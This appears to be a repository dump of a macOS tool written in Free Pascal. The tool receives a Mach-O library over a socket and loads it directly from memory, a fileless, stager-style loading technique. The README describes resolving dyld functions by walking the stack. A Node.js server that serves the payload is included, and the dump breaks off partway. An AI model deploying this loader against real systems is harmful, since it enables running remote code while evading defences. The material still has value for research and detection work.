├── .github └── FUNDING.yml ├── .gitignore ├── .gitattributes ├── System ├── fpintres.pas ├── objpas.pp ├── sysinit.pas ├── sysinitpas.pas ├── objc.pas ├── unixtype.pp ├── pmutext.inc ├── aliasctp.inc ├── ctypes.inc ├── ptypes.inc ├── ctypes.pp ├── objcnf.inc ├── objcbase.pp ├── objc1.inc └── system.pas ├── .travis.yml ├── main.pas ├── test.pas ├── server.js ├── README.md ├── Core ├── sockets.pas ├── ulibc.pas ├── machotypes.pas ├── machoconsts.pas ├── loadfunctions.pas └── macho.pas └── LICENSE /.github/FUNDING.yml: -------------------------------------------------------------------------------- 1 | github: [Coldzer0] 2 | -------------------------------------------------------------------------------- /.gitignore: -------------------------------------------------------------------------------- 1 | 2 | main 3 | libtest.dylib 4 | -------------------------------------------------------------------------------- /.gitattributes: -------------------------------------------------------------------------------- 1 | # Auto detect text files and perform LF normalization 2 | * text=auto 3 | -------------------------------------------------------------------------------- /System/fpintres.pas: -------------------------------------------------------------------------------- 1 | unit fpintres; 2 | 3 | interface 4 | 5 | implementation 6 | 7 | end. -------------------------------------------------------------------------------- /System/objpas.pp: -------------------------------------------------------------------------------- 1 | {$Mode ObjFpc} 2 | {$I-} 3 | {$ifndef Unix} 4 | {$S-} 5 | {$endif} 6 | unit objpas; 7 | 8 | interface 9 | 10 | implementation 11 | 12 | end. -------------------------------------------------------------------------------- /System/sysinit.pas: -------------------------------------------------------------------------------- 1 | unit sysinit; 2 | {$mode delphi} 3 | {$INLINE ON} 4 | {$OPTIMIZATION STACKFRAME} 5 | {$SMARTLINK ON} 6 | {$inline on} 7 | interface 8 | 9 | implementation 10 | 11 | end. 12 | -------------------------------------------------------------------------------- /System/sysinitpas.pas: -------------------------------------------------------------------------------- 1 | unit sysinitpas; 2 | 3 | interface 4 | 5 | implementation 6 | procedure FPC_INITIALIZEUNITS; [public, alias: 'FPC_INITIALIZEUNITS']; 7 | begin 8 | end; 9 | procedure FPC_LIBINITIALIZEUNITS; [public, alias: 'FPC_LIBINITIALIZEUNITS']; 10 | begin 11 | end; 12 | end. 13 | -------------------------------------------------------------------------------- /.travis.yml: -------------------------------------------------------------------------------- 1 | language: c 2 | sudo: true 3 | dist: xenial 4 | 5 | os: 6 | - osx 7 | 8 | osx_image: xcode10.2 9 | 10 | before_install: 11 | - if [[ $TRAVIS_OS_NAME == osx ]]; then 12 | brew update > /dev/null; 13 | brew install fpc > /dev/null; 14 | fi 15 | 16 | install: 17 | - ./build.sh 18 | 19 | script: 20 | - ls 21 | -------------------------------------------------------------------------------- /System/objc.pas: -------------------------------------------------------------------------------- 1 | 2 | unit objc; 3 | 4 | {$ifdef darwin} 5 | {$define targethandled} 6 | {$if defined(iphonesim) or defined(cpuarm) or defined(cpux86_64) or defined(cpupowerpc64) or defined(cpuaarch64)} 7 | {$i objcnf.inc} 8 | {$endif} 9 | 10 | {$if defined(cpupowerpc32) or (defined(cpui386) and not defined(iphonesim))} 11 | {$define targethandled} 12 | {$i objc1.inc} 13 | {$endif} 14 | {$endif} 15 | 16 | 17 | {$ifndef targethandled} 18 | {$error Target not yet supported for objc.pp unit} 19 | {$endif} 20 | -------------------------------------------------------------------------------- /main.pas: -------------------------------------------------------------------------------- 1 | { 2 | Macho loader . < load macho from memory with socket connection > 3 | Copyright(c) 2018 Coldzer0 . 4 | contact : . 5 | License: GPLv2 . 6 | } 7 | program main; 8 | 9 | {$mode Delphi} 10 | {$OPTIMIZATION STACKFRAME} 11 | {$SMARTLINK ON} 12 | 13 | {$IFDEF Darwin} 14 | {$LINKLIB c} 15 | {$ELSE} 16 | this_code_works_on_OSX_only 17 | {$ENDIF} 18 | 19 | uses 20 | sysinit, 21 | ulibc, 22 | loadfunctions; 23 | 24 | begin 25 | loadall; 26 | end. 27 | -------------------------------------------------------------------------------- /test.pas: -------------------------------------------------------------------------------- 1 | { 2 | Macho library - Just for test . 3 | 4 | Copyright(c) 2018 Coldzer0 . 5 | contact : . 6 | License: GPLv2 . 7 | } 8 | library test; 9 | 10 | {$mode Delphi} 11 | {$OPTIMIZATION STACKFRAME} 12 | {$SMARTLINK ON} 13 | 14 | {$IFDEF Darwin} 15 | {$LINKLIB c} 16 | {$ELSE} 17 | this_code_works_on_OSX_only 18 | {$ENDIF} 19 | 20 | uses 21 | sysinit; 22 | 23 | Function printf (Const fmt : PCHar; arg : Array Of Const) : size_t; cdecl; external; 24 | 25 | function main() : boolean; 26 | begin 27 | printf('that Do Evil stuff ^_^'#10,[]); 28 | end; 29 | 30 | exports 31 | main name '_main'; 32 | 33 | begin 34 | printf('im a good library :D'#10,[]); 35 | end. 36 | -------------------------------------------------------------------------------- /server.js: -------------------------------------------------------------------------------- 1 | var fs = require('fs'); 2 | var net = require('net'); 3 | 4 | 5 | var that = this; 6 | 7 | this.server = net.createServer(); 8 | 9 | this.server.on('connection', function(socket) { 10 | var sync = fs.createReadStream('./libtest.dylib'); 11 | 12 | console.log('new Connection : ', socket.remoteAddress); 13 | 14 | socket.on('error', function (err) { 15 | socket.end(); 16 | }); 17 | 18 | sync.on('error', function(e) { 19 | }); 20 | sync.on('open', function() { 21 | sync.pipe(socket); 22 | }); 23 | sync.on('finish', function() { 24 | socket.end(); 25 | }); 26 | }); 27 | 28 | this.server.on('error', function (err) { 29 | throw err; 30 | }); 31 | 32 | this.server.listen(1234, function() { 33 | console.log(' Started on port : ', that.server.address().port); 34 | }); 35 | -------------------------------------------------------------------------------- /System/unixtype.pp: -------------------------------------------------------------------------------- 1 | { 2 | This file is part of the Free Pascal run time library. 3 | (c) 2004 by Marco van de Voort 4 | member of the Free Pascal development team. 5 | 6 | THIS UNIT IS NOT FOR USE BY ENDUSERS. IT IS USED TO AVOID CERTAIN 7 | CIRCULAR REFERENCE PROBLEMS. 8 | 9 | See the file COPYING.FPC, included in this distribution, 10 | for details about the copyright. 11 | 12 | This program is distributed in the hope that it will be useful, 13 | but WITHOUT ANY WARRANTY;without even the implied warranty of 14 | MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. 15 | 16 | **********************************************************************} 17 | unit unixtype; 18 | 19 | Interface 20 | 21 | {$i ptypes.inc} 22 | 23 | Type 24 | TTime = time_t; 25 | Implementation 26 | 27 | End. 28 | -------------------------------------------------------------------------------- /System/pmutext.inc: -------------------------------------------------------------------------------- 1 | { 2 | This file is part of the Free Pascal run time library. 3 | Copyright (c) 1999-2000 by Peter Vreman 4 | member of the Free Pascal development team. 5 | 6 | See the file COPYING.FPC, included in this distribution, 7 | for details about the copyright. 8 | 9 | This program is distributed in the hope that it will be useful, 10 | but WITHOUT ANY WARRANTY; without even the implied warranty of 11 | MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. 12 | 13 | **********************************************************************} 14 | 15 | { definition of pthread_mutex_t, because needed in both ptypes.inc and } 16 | { in sysosh.inc } 17 | 18 | record sig: {$ifdef cpu64}int64{$else}longint{$endif}; opaque: array[0..{$ifdef cpu64}56{$else}40{$endif}-1] of byte; end; 19 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # Macho loader - Mac OS x64 2 | 3 | ### this code work with mini FPC core librarys `` for `Mac OS`
the generated files `main & libtest.dylib` is `8kb` `` only . 4 | 5 | 6 | ## `< load macho from memory with socket connection >` 7 | 8 | The macho loader requires access to some system functions
9 | (e.g., `NSCreateObjectFileImageFromMemory`, `NSLinkModule`) 10 | 11 |

12 | that are provided by libdyld.dylib. As we don't know the address of libdyld.dylib in memory . 13 | 14 | - we first walk to the very top of the stack. 15 | 16 | - We then start walking downwards on the stack and we inspect
every pointer we find. 17 | - The trick is that the offset inside of libdyld.dylib must be
present as it's placed there by the dynamic linker as the
return function when main returns. 18 | - We find the offset, we resolve the functions and from then on,
it's standard loading of macho bundle . 19 | 20 | ### the main logic start at `"Core/loadfunctions.pas"` in `loadall()` . 21 | 22 | ### this works only with x64 macho files . 23 | 24 | ## Requirements 25 | - FreePascal Compiler >= v3 26 | - Mac OS 27 | - nodejs >> for the server.js - or make your own :P 28 | 29 | ## How to Build 30 | 31 | - Just run `./Build.sh` after installing FreePascal 32 | - run `node server.js` 33 | - run `./main` 34 | 35 | ## that's all - see you soon guys 36 | ## Oh Contact : <`Coldzer0 [at] protonmail.ch`> 37 | -------------------------------------------------------------------------------- /Core/sockets.pas: -------------------------------------------------------------------------------- 1 | { 2 | 3 | this unit contains all socks functions & structures declarations that we need . 4 | 5 | Copyright(c) 2018 Coldzer0 . 6 | contact : . 7 | License: GPLv2 . 8 | } 9 | 10 | unit sockets; 11 | 12 | {$mode delphi} 13 | {$Hints OFF} 14 | {$INLINE ON} 15 | {$SMARTLINK ON} 16 | 17 | interface 18 | 19 | type 20 | sockaddr_in = packed record 21 | sin_len: UInt8; 22 | sin_family: UInt8; 23 | sin_port: UInt16; 24 | sin_addr: UInt32; 25 | sin_zero: packed array[0..7] of UInt8; 26 | end; 27 | psockaddr = ^sockaddr_in; 28 | 29 | hostent = record 30 | h_name: PChar; {/* official name of host *} 31 | h_aliases: PPChar; {* alias list *} 32 | h_addrtype: cInt; {* host address type *} 33 | h_length: cInt; {* length of address *} 34 | h_addr_list: PPChar;{* list of addresses from name server *} 35 | end; 36 | 37 | THostEnt = hostent; 38 | PHostEnt = ^THostEnt; 39 | 40 | 41 | 42 | var 43 | socket : function(domain:longint; xtype:longint; protocol: longint):longint; 44 | connect : function(s:longint; name : psockaddr; namelen : longword):longint; 45 | gethostbyname : function(name: PChar): PHostEnt; cdecl; 46 | 47 | function htonl( host : cardinal):cardinal; inline; 48 | function htons( host : word):word; inline; 49 | 50 | const 51 | AF_INET = 2; 52 | SOCK_STREAM = 1; 53 | 54 | implementation 55 | 56 | function htonl( host : cardinal):cardinal; inline; 57 | begin 58 | {$ifdef FPC_BIG_ENDIAN} 59 | htonl:=host; 60 | {$else} 61 | htonl:=SwapEndian(host); 62 | {$endif} 63 | end; 64 | 65 | function htons( host : word):word; inline; 66 | 67 | begin 68 | {$ifdef FPC_BIG_ENDIAN} 69 | htons:=host; 70 | {$else} 71 | htons:=SwapEndian(host); 72 | {$endif} 73 | end; 74 | 75 | end. 76 | 77 | -------------------------------------------------------------------------------- /Core/ulibc.pas: -------------------------------------------------------------------------------- 1 | { 2 | 3 | this unit contains all libc functions & structures declarations that we need . 4 | 5 | Copyright(c) 2018 Coldzer0 . 6 | contact : . 7 | License: GPLv2 . 8 | } 9 | Unit ulibc; 10 | 11 | {$mode Delphi}{$H+} 12 | {$inline on} 13 | {$SMARTLINK ON} 14 | {$packrecords c} 15 | 16 | Interface 17 | type 18 | liblongint=longint; 19 | pliblongint=^liblongint; 20 | 21 | timespec = record 22 | tv_sec : int64; 23 | tv_nsec : int64; 24 | end; 25 | ptimespec= ^timespec; 26 | Ttimespec= timespec; 27 | 28 | //Function printf(Const fmt : PCHar; arg : Array Of Const) : size_t; cdecl; external; 29 | 30 | var 31 | {==================== Memory Mangment ================================} 32 | //Function malloc (Size : ptruint) : Pointer;cdecl; external; 33 | //Procedure free (P : pointer); cdecl; external; 34 | //function realloc (P : Pointer; Size : ptruint) : pointer;cdecl; external; 35 | //Function calloc (unitSize,UnitCount : ptruint) : pointer;cdecl; external; 36 | mmap : function (addr:pointer;len:qword;prot:longint;flags:longint;fd:longint;ofs:int64):pointer; cdecl;// external; 37 | {=====================================================================} 38 | errno : function : pliblongint; 39 | nanosleep : function (const rqtp: ptimespec; rmtp: ptimespec): longint;cdecl;//external;// clib name 'nanosleep'; 40 | //sleep : function (seconds : cuint): cuint;// cdecl; 41 | {=====================================================================} 42 | 43 | //Function strlen (P : pchar) : size_t; cdecl; // external; 44 | 45 | {=====================================================================} 46 | open : function (path: pchar; flags : longint):longint; varargs; cdecl; 47 | lseek : function (fd: longint; offset: longint; whence: longint): longint; cdecl;// external; 48 | read : function (fd: longint; buf: Pointer; nbytes : qword): int64; cdecl; //external; 49 | close : function (fd : longint): longint; cdecl;// external; 50 | //write : function (fd: longint;buf:pchar; nbytes : TSize): TSSize; cdecl; // external; 51 | {=====================================================================} 52 | //function dlsym (module : Pointer; name : PChar): Pointer; cdecl;external; 53 | //Function chmod(path : pChar; Mode : TMode): longint; cdecl; external; 54 | 55 | Implementation 56 | 57 | 58 | 59 | End. 60 | -------------------------------------------------------------------------------- /System/aliasctp.inc: -------------------------------------------------------------------------------- 1 | { 2 | This file is part of the Free Pascal run time library. 3 | Copyright (c) 2004 by Marco van de Voort 4 | Member of the Free Pascal development team 5 | 6 | Aliases for basic types for C interfacing, for reloading them 7 | in other units from unit unixtype in a typesafe way. 8 | 9 | See the file COPYING.FPC, included in this distribution, 10 | for details about the copyright. 11 | 12 | This program is distributed in the hope that it will be useful, 13 | but WITHOUT ANY WARRANTY; without even the implied warranty of 14 | MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. 15 | 16 | **********************************************************************} 17 | 18 | type 19 | cint8 = UnixType.cint8; pcint8 = UnixType.pcint8; 20 | cuint8 = UnixType.cuint8; pcuint8 = UnixType.pcuint8; 21 | cchar = UnixType.cchar; pcchar = UnixType.pcchar; 22 | cschar = UnixType.cschar; pcschar = UnixType.pcschar; 23 | cuchar = UnixType.cuchar; pcuchar = UnixType.pcuchar; 24 | 25 | cint16 = UnixType.cint16; pcint16 = UnixType.pcint16; 26 | cuint16 = UnixType.cuint16; pcuint16 = UnixType.pcuint16; 27 | cshort = UnixType.cshort; pcshort = UnixType.pcshort; 28 | csshort = UnixType.csshort; pcsshort = UnixType.pcsshort; 29 | cushort = UnixType.cushort; pcushort = UnixType.pcushort; 30 | 31 | cint32 = UnixType.cint32; pcint32 = UnixType.pcint32; 32 | cuint32 = UnixType.cuint32; pcuint32 = UnixType.pcuint32; 33 | cint = UnixType.cint; pcint = UnixType.pcint; 34 | csint = UnixType.csint; pcsint = UnixType.pcsint; 35 | cuint = UnixType.cuint; pcuint = UnixType.pcuint; 36 | csigned = UnixType.csigned; pcsigned = UnixType.pcsigned; 37 | cunsigned = UnixType.cunsigned; pcunsigned = UnixType.pcunsigned; 38 | 39 | cint64 = UnixType.cint64; pcint64 = UnixType.pcint64; 40 | cuint64 = UnixType.cuint64; pcuint64 = UnixType.pcuint64; 41 | clonglong = UnixType.clonglong; pclonglong = UnixType.pclonglong; 42 | cslonglong = UnixType.cslonglong; pcslonglong = UnixType.pcslonglong; 43 | culonglong = UnixType.culonglong; pculonglong = UnixType.pculonglong; 44 | 45 | cbool = UnixType.cbool; pcbool = UnixType.pcbool; 46 | 47 | clong = UnixType.clong; pclong = UnixType.pclong; 48 | cslong = UnixType.cslong; pcslong = UnixType.pcslong; 49 | culong = UnixType.culong; pculong = UnixType.pculong; 50 | 51 | {$ifndef FPUNONE} 52 | cfloat = UnixType.cfloat; pcfloat = UnixType.pcfloat; 53 | cdouble = UnixType.cdouble; pcdouble = UnixType.pcdouble; 54 | // clongdouble = UnixType.clongdouble; pclongdouble = UnixType.pclongdouble; 55 | {$endif} 56 | 57 | csize_t = UnixType.size_t; pcsize_t = UnixType.psize_t; 58 | 59 | coff_t = UnixType.TOff; 60 | 61 | -------------------------------------------------------------------------------- /System/ctypes.inc: -------------------------------------------------------------------------------- 1 | { 2 | This file is part of the Free Pascal run time library. 3 | Copyright (c) 2001 by Free Pascal development team 4 | 5 | Basic types for C interfacing. Check the 64-bit defines. 6 | 7 | See the file COPYING.FPC, included in this distribution, 8 | for details about the copyright. 9 | 10 | This program is distributed in the hope that it will be useful, 11 | but WITHOUT ANY WARRANTY; without even the implied warranty of 12 | MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. 13 | 14 | **********************************************************************} 15 | 16 | {***********************************************************************} 17 | { POSIX TYPE DEFINITIONS } 18 | {***********************************************************************} 19 | 20 | type 21 | { the following type definitions are compiler dependant } 22 | { and system dependant } 23 | 24 | cint8 = shortint; pcint8 = ^cint8; 25 | cuint8 = byte; pcuint8 = ^cuint8; 26 | cchar = cint8; pcchar = ^cchar; 27 | cschar = cint8; pcschar = ^cschar; 28 | cuchar = cuint8; pcuchar = ^cuchar; 29 | 30 | cint16 = smallint; pcint16 = ^cint16; 31 | cuint16 = word; pcuint16 = ^cuint16; 32 | cshort = cint16; pcshort = ^cshort; 33 | csshort = cint16; pcsshort = ^csshort; 34 | cushort = cuint16; pcushort = ^cushort; 35 | 36 | cint32 = longint; pcint32 = ^cint32; 37 | cuint32 = longword; pcuint32 = ^cuint32; 38 | cint = cint32; pcint = ^cint; { minimum range is : 32-bit } 39 | csint = cint32; pcsint = ^csint; { minimum range is : 32-bit } 40 | cuint = cuint32; pcuint = ^cuint; { minimum range is : 32-bit } 41 | csigned = cint; pcsigned = ^csigned; 42 | cunsigned = cuint; pcunsigned = ^cunsigned; 43 | 44 | cint64 = int64; pcint64 = ^cint64; 45 | cuint64 = qword; pcuint64 = ^cuint64; 46 | clonglong = cint64; pclonglong = ^clonglong; 47 | cslonglong = cint64; pcslonglong = ^cslonglong; 48 | culonglong = cuint64; pculonglong = ^culonglong; 49 | 50 | cbool = longbool; pcbool = ^cbool; 51 | 52 | {$ifdef cpu64} 53 | clong = int64; pclong = ^clong; 54 | cslong = int64; pcslong = ^cslong; 55 | culong = qword; pculong = ^culong; 56 | {$else} 57 | clong = longint; pclong = ^clong; 58 | cslong = longint; pcslong = ^cslong; 59 | culong = cardinal; pculong = ^culong; 60 | {$endif} 61 | 62 | {$ifndef FPUNONE} 63 | cfloat = single; pcfloat = ^cfloat; 64 | cdouble = double; pcdouble = ^cdouble; 65 | clongdouble = extended; pclongdouble = ^clongdouble; 66 | {$endif} 67 | 68 | // csize_t is defined in the operatingsystem dependant ptypes.inc 69 | // csize_t = ptruint; pcsize_t = pptruint; 70 | -------------------------------------------------------------------------------- /Core/machotypes.pas: -------------------------------------------------------------------------------- 1 | { 2 | This file is part of the Free Pascal run time library. 3 | Copyright (c) 2008 by Giulio Bernardi 4 | 5 | Types used by Mach-O resource reader and writer 6 | 7 | See the file COPYING.FPC, included in this distribution, 8 | for details about the copyright. 9 | 10 | This program is distributed in the hope that it will be useful, 11 | but WITHOUT ANY WARRANTY; without even the implied warranty of 12 | MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. 13 | 14 | **********************************************************************} 15 | 16 | unit machotypes; 17 | 18 | {$MODE OBJFPC} 19 | 20 | interface 21 | 22 | {$packrecords c} 23 | 24 | type 25 | TMachOMachineType = (mmtpowerpc, mmtpowerpc64, mmti386, mmtx86_64, mmtarm, mmtarm64); 26 | TMachOSubMachineTypePowerPC = (msmppc_all); 27 | TMachOSubMachineTypePowerPC64 = (msmppc64_all); 28 | TMachOSubMachineType386 = (msm386_all); 29 | TMachOSubMachineTypex64 = (msmx64_all); 30 | TMachOSubMachineTypeArm = (msmarm_all,msmarm_v4t,msmarm_v6,msmarm_v5tej,msmarm_xscale,msmarm_v7); 31 | TMachOSubMachineTypeAarch64 = (msmaarch64_all); 32 | TSegSectName = array[0..15] of char; 33 | 34 | type 35 | TMachHdr = record 36 | magic : longword; 37 | cputype : longint; 38 | cpusubtype : longint; 39 | filetype : longword; 40 | ncmds : longword; 41 | sizeofcmds : longword; 42 | flags : longword; 43 | end; 44 | PMachHdr = ^TMachHdr; 45 | 46 | TLoadCommand = record 47 | cmd : longword; 48 | cmdsize : longword; 49 | end; 50 | 51 | //note: all commands don't include first two longwords 52 | 53 | TSegmentCommand32 = record 54 | name : TSegSectName; 55 | vmaddr : longword; 56 | vmsize : longword; 57 | fileoff : longword; 58 | filesize : longword; 59 | maxprot : longint; 60 | initprot : longint; 61 | nsects : longword; 62 | flags : longword; 63 | end; 64 | 65 | TSegmentCommand64 = record 66 | name : TSegSectName; 67 | vmaddr : qword; 68 | vmsize : qword; 69 | fileoff : qword; 70 | filesize : qword; 71 | maxprot : longint; 72 | initprot : longint; 73 | nsects : longword; 74 | flags : longword; 75 | end; 76 | 77 | TSection32 = record 78 | sectname : TSegSectName; 79 | segname : TSegSectName; 80 | addr : longword; 81 | size : longword; 82 | offset : longword; 83 | align : longword; 84 | reloff : longword; 85 | nreloc : longword; 86 | flags : longword; 87 | reserved1 : longword; 88 | reserved2 : longword; 89 | end; 90 | 91 | TSection64 = record 92 | sectname : TSegSectName; 93 | segname : TSegSectName; 94 | addr : qword; 95 | size : qword; 96 | offset : longword; 97 | align : longword; 98 | reloff : longword; 99 | nreloc : longword; 100 | flags : longword; 101 | reserved1 : longword; 102 | reserved2 : longword; 103 | reserved3 : longword; 104 | end; 105 | 106 | TSymtabCommand = record 107 | symoff : longword; 108 | nsyms : longword; 109 | stroff : longword; 110 | strsize : longword; 111 | end; 112 | 113 | TDySymtabCommand = record 114 | ilocalsym : longword; 115 | nlocalsym : longword; 116 | iextdefsym : longword; 117 | nextdefsym : longword; 118 | iundefsym : longword; 119 | nundefsym : longword; 120 | tocoff : longword; 121 | ntoc : longword; 122 | modtaboff : longword; 123 | nmodtab : longword; 124 | extrefsymoff : longword; 125 | nextrefsyms : longword; 126 | indirectsymoff : longword; 127 | nindirectsyms : longword; 128 | extreloff : longword; 129 | nextrel : longword; 130 | locreloff : longword; 131 | nlocrel : longword; 132 | end; 133 | 134 | TNList32 = record 135 | strx : longword; 136 | _type : byte; 137 | sect : byte; 138 | desc : word; 139 | value : longword; 140 | end; 141 | PNList32 = ^TNList32; 142 | 143 | TNList64 = record 144 | strx : longword; 145 | _type : byte; 146 | sect : byte; 147 | desc : word; 148 | value : qword; 149 | end; 150 | PNList64 = ^TNList64; 151 | 152 | TRelocationInfo = record 153 | address : longword; 154 | flags : longword; 155 | end; 156 | PRelocationInfo = ^TRelocationInfo; 157 | 158 | implementation 159 | 160 | end. 161 | -------------------------------------------------------------------------------- /System/ptypes.inc: -------------------------------------------------------------------------------- 1 | { 2 | This file is part of the Free Pascal run time library. 3 | Copyright (c) 2001 by Free Pascal development team 4 | 5 | This file implements all the base types and limits required 6 | for a minimal POSIX compliant subset required to port the compiler 7 | to a new OS. 8 | 9 | See the file COPYING.FPC, included in this distribution, 10 | for details about the copyright. 11 | 12 | This program is distributed in the hope that it will be useful, 13 | but WITHOUT ANY WARRANTY; without even the implied warranty of 14 | MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. 15 | 16 | **********************************************************************} 17 | 18 | {***********************************************************************} 19 | { POSIX TYPE DEFINITIONS } 20 | {***********************************************************************} 21 | 22 | {$i ctypes.inc} 23 | {$packrecords c} 24 | 25 | type 26 | { the following type definitions are compiler dependant } 27 | { and system dependant } 28 | 29 | dev_t = cuint32; { used for device numbers } 30 | TDev = dev_t; 31 | pDev = ^dev_t; 32 | 33 | gid_t = cuint32; { used for group IDs } 34 | TGid = gid_t; 35 | pGid = ^gid_t; 36 | TIOCtlRequest = cuLong; 37 | 38 | {$if not defined(cpuarm) and not defined(aarch64) and not defined(iphonesim)} 39 | ino_t = cuint32; { used for file serial numbers } 40 | {$else} 41 | ino_t = cuint64; 42 | {$endif} 43 | TIno = ino_t; 44 | pIno = ^ino_t; 45 | 46 | mode_t = cuint16; { used for file attributes } 47 | TMode = mode_t; 48 | pMode = ^mode_t; 49 | 50 | nlink_t = cuint16; { used for link counts } 51 | TnLink = nlink_t; 52 | pnLink = ^nlink_t; 53 | 54 | off_t = cint64; { used for file sizes } 55 | TOff = off_t; 56 | pOff = ^off_t; 57 | 58 | pid_t = cint32; { used as process identifier } 59 | TPid = pid_t; 60 | pPid = ^pid_t; 61 | 62 | size_t = culong; { as definied in the C standard} 63 | TSize = size_t; 64 | pSize = ^size_t; 65 | psize_t = ^size_t; 66 | 67 | ssize_t = clong; { used by function for returning number of bytes } 68 | TsSize = ssize_t; 69 | psSize = ^ssize_t; 70 | 71 | uid_t = cuint32; { used for user ID type } 72 | TUid = Uid_t; 73 | pUid = ^Uid_t; 74 | 75 | clock_t = culong; 76 | TClock = clock_t; 77 | pClock = ^clock_t; 78 | 79 | time_t = clong; { used for returning the time } 80 | // TTime = time_t; // Not allowed in system unit, -> unixtype 81 | 82 | pTime = ^time_t; 83 | ptime_t = ^time_t; 84 | 85 | wchar_t = cint32; 86 | pwchar_t = ^wchar_t; 87 | wint_t = cint32; 88 | 89 | socklen_t= cuint32; 90 | TSocklen = socklen_t; 91 | pSocklen = ^socklen_t; 92 | 93 | suseconds_t = cint32; 94 | 95 | timeval = record 96 | tv_sec: time_t; 97 | tv_usec: suseconds_t; 98 | end; 99 | ptimeval = ^timeval; 100 | TTimeVal = timeval; 101 | 102 | timespec = record 103 | tv_sec : time_t; 104 | tv_nsec : clong; 105 | end; 106 | ptimespec= ^timespec; 107 | Ttimespec= timespec; 108 | 109 | rlim_t = int64; 110 | TRlim = rlim_t; 111 | 112 | CONST 113 | { System limits, POSIX value in parentheses, used for buffer and stack allocation } 114 | ARG_MAX = 65536; {4096} { Maximum number of argument size } 115 | NAME_MAX = 255; {14} { Maximum number of bytes in filename } 116 | PATH_MAX = 1024; {255} { Maximum number of bytes in pathname } 117 | 118 | SYS_NMLN = 256; {BSD utsname struct limit} 119 | 120 | SIG_MAXSIG = 32; // highest signal version 121 | 122 | MFSNAMELEN = 15; 123 | MNAMELEN = 90; 124 | 125 | 126 | const 127 | _PTHREAD_MUTEX_NORMAL = 0; 128 | _PTHREAD_MUTEX_ERRORCHECK = 1; 129 | _PTHREAD_MUTEX_RECURSIVE = 2; 130 | // ); 131 | 132 | 133 | const 134 | _PTHREAD_MUTEX_DEFAULT = _PTHREAD_MUTEX_NORMAL; 135 | _MUTEX_TYPE_FAST = _PTHREAD_MUTEX_NORMAL; 136 | _MUTEX_TYPE_COUNTING_FAST = _PTHREAD_MUTEX_RECURSIVE; 137 | 138 | _PTHREAD_KEYS_MAX = 128; 139 | _PTHREAD_STACK_MIN = 8192; 140 | 141 | type 142 | fsid_t = record 143 | val: array[0..1] of cint32; 144 | end; 145 | 146 | {$if defined(cpuarm) or defined(cpuaarch64) or defined(iphonesim)} 147 | { structure used on iPhoneOS and available on Mac OS X 10.6 and later } 148 | tstatfs = record 149 | bsize : cuint32; 150 | iosize : cint32; 151 | blocks : cuint64; 152 | bfree : cuint64; 153 | bavail : cuint64; 154 | files : cuint64; 155 | ffree : cuint64; 156 | fsid : fsid_t; 157 | owner : uid_t; 158 | ftype : cuint32; 159 | fflags : cuint32; 160 | fssubtype : cuint32; 161 | fstypename : array[0..(MFSNAMELEN)-1] of char; 162 | mountpoint : array[0..(PATH_MAX)-1] of char; 163 | mntfromname : array[0..(PATH_MAX)-1] of char; 164 | reserved: array[0..7] of cuint32; 165 | end; 166 | {$else} 167 | tstatfs = record 168 | otype : cint16; 169 | oflags : cint16; 170 | bsize : clong; 171 | iosize : clong; 172 | blocks : clong; 173 | bfree : clong; 174 | bavail : clong; 175 | files : clong; 176 | ffree : clong; 177 | fsid : fsid_t; 178 | fowner : uid_t; 179 | reserved1 : cint16; 180 | ftype : cint16; 181 | fflags : clong; 182 | reserved2 : array[0..1] of clong; 183 | fstypename : array[0..(MFSNAMELEN)-1] of char; 184 | mountpoint : array[0..(MNAMELEN)-1] of char; 185 | mntfromname : array[0..(MNAMELEN)-1] of char; 186 | f_reserved3: char; 187 | reserved4: array[0..3] of clong; 188 | end; 189 | {$endif} 190 | pstatfs = ^tstatfs; 191 | 192 | mbstate_t = record 193 | case byte of 194 | 0: (__mbstate8: array[0..127] of char); 195 | 1: (_mbstateL: clonglong); { for alignment } 196 | end; 197 | pmbstate_t = ^mbstate_t; 198 | 199 | pthread_t = pointer; 200 | pthread_attr_t = record sig: clong; opaque: array[0..{$ifdef cpu64}56{$else}36{$endif}-1] of byte; end; 201 | pthread_mutex_t = {$i pmutext.inc} 202 | pthread_mutexattr_t = record sig: clong; opaque: array[0..8-1] of byte; end; 203 | pthread_cond_t = record sig: clong; opaque: array[0..{$ifdef cpu64}40{$else}24{$endif}-1] of byte; end; 204 | pthread_condattr_t = record sig: clong; opaque: array[0..{$ifdef cpu64}8{$else}4{$endif}-1] of byte; end; 205 | pthread_key_t = culong; 206 | pthread_rwlock_t = record sig: clong; opaque: array[0..{$ifdef cpu64}192{$else}124{$endif}-1] of byte; end; 207 | pthread_rwlockattr_t = record sig: clong; opaque: array[0..{$ifdef cpu64}16{$else}12{$endif}-1] of byte; end; 208 | 209 | sem_t = cint; 210 | 211 | // for get/setpriority 212 | Const 213 | { For getting/setting priority } 214 | Prio_Process = 0; 215 | Prio_PGrp = 1; 216 | Prio_User = 2; 217 | 218 | -------------------------------------------------------------------------------- /Core/machoconsts.pas: -------------------------------------------------------------------------------- 1 | { 2 | This file is part of the Free Pascal run time library. 3 | Copyright (c) 2008 by Giulio Bernardi 4 | 5 | Constants used by Mach-O resource reader and writer 6 | 7 | See the file COPYING.FPC, included in this distribution, 8 | for details about the copyright. 9 | 10 | This program is distributed in the hope that it will be useful, 11 | but WITHOUT ANY WARRANTY; without even the implied warranty of 12 | MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. 13 | 14 | **********************************************************************} 15 | 16 | unit machoconsts; 17 | 18 | {$MODE OBJFPC} 19 | 20 | interface 21 | 22 | uses 23 | machotypes; 24 | 25 | const 26 | //DataSegName : TSegSectName = '__DATA'+#0+#0+#0+#0+#0+#0+#0+#0+#0+#0; 27 | //RsrcSectName : TSegSectName = 'fpc.resources'+#0+#0+#0; 28 | //HandlesSectName : TSegSectName = 'fpc.reshandles'+#0+#0; 29 | // 30 | //private constants used by reader and writer only, not apple-defined 31 | MACH_BIG_ENDIAN = 1; 32 | MACH_LITTLE_ENDIAN = 2; 33 | 34 | MACH_ERRBIT = 0; 35 | MACH_32BIT = 1; 36 | MACH_64BIT = 2; 37 | //end of private constants 38 | 39 | //Mach-O magic numbers 40 | MH_MAGIC = $FEEDFACE; 41 | 